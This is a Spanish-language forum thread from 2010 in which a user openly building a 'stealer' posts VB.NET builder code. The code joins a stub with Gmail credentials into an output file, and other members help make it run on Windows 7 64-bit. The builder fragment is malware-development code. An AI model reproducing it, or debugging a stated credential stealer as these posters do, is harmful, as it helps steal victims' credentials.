FileOpen y Windows 7

Iniciado por chacKos, 11 Abril 2010, 11:10 AM

0 Miembros y 1 Visitante están viendo este tema.

chacKos

Hola, estaba haciendo un stealer en Windows XP 32 bits, que ya me funciona perfectamente, ahora la estoy modificando un poco pero en Windows 7 64 bits. A la hora de crear el server no me crea el fichero. Lo hago de la siguiente forma:

FileOpen(1, Application.StartupPath & "\" & stub, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = stub.PadLeft(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, Application.StartupPath + "\" + fileOut, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & UserGmail & FileSplit & PassGmail & FileSplit)
FileClose(1)


Hay alguna forma de modificar el código para que funciones?
Ah, utilizo Visual Studio 2008


---] chacKos [---

leucocito

Actualmente estas en la plataforma de 64 bits? o quieres desde el 32bits  crear el fichlero a 64¿
saludos! ;)

chacKos

Hola, ese código en 32 bits funciona perfectamente, pero en 64 no! Ahora mismo estoy en 64 bits!


---] chacKos [---

Meta

Lo pruebas con Windows 7 64 Bits el Visual Studio .NET 2010.
Tutoriales Electrónica y PIC: http://electronica-pic.blogspot.com/

chacKos

No, lo estoy probando con Windows 7 Proffesional 64 bits y Visual Studio 2008


---] chacKos [---

MANULOMM

puede ser por la compilación, en las propiedades del proyecto en la pestaña Compilacion (Build) mira la plataforma (Platform target) es un combo y tiene 3 valores. Any CPU, x86, x64 por defecto esta en Any CPU esto quiere decir que el programa se ejecutará según la plataforma. si es 32 Bit se ejecutara como 32 pero si es de 64 se ejecutara como 64 y por esto es que falla, si eliges x86 obligarás al CLR a ejecutarse siempre como 32 bit's, asi si ejecutas en 64 bit's el CLR lo ejecutará en un entorno de 32 y correrá bien, x64 obligará a que se ejecute a 64 y solo funcionará para 64 bit's, (x86 funciona para ambos) si tienes una funcionalidad especifica de 64 bit's debes compilar a x64 pero si lo que quieres es simplemente ejecutar, compila a x86 asi nunca fallará.

Atentamente,


Juan Manuel Lombana
Microsoft Certified Professional
Microsoft Student Partner
Medellín - Colombia


chacKos

Ok, muchas gracias funciona perfectamente. Gracias, no se me había ocurrido!


---] chacKos [---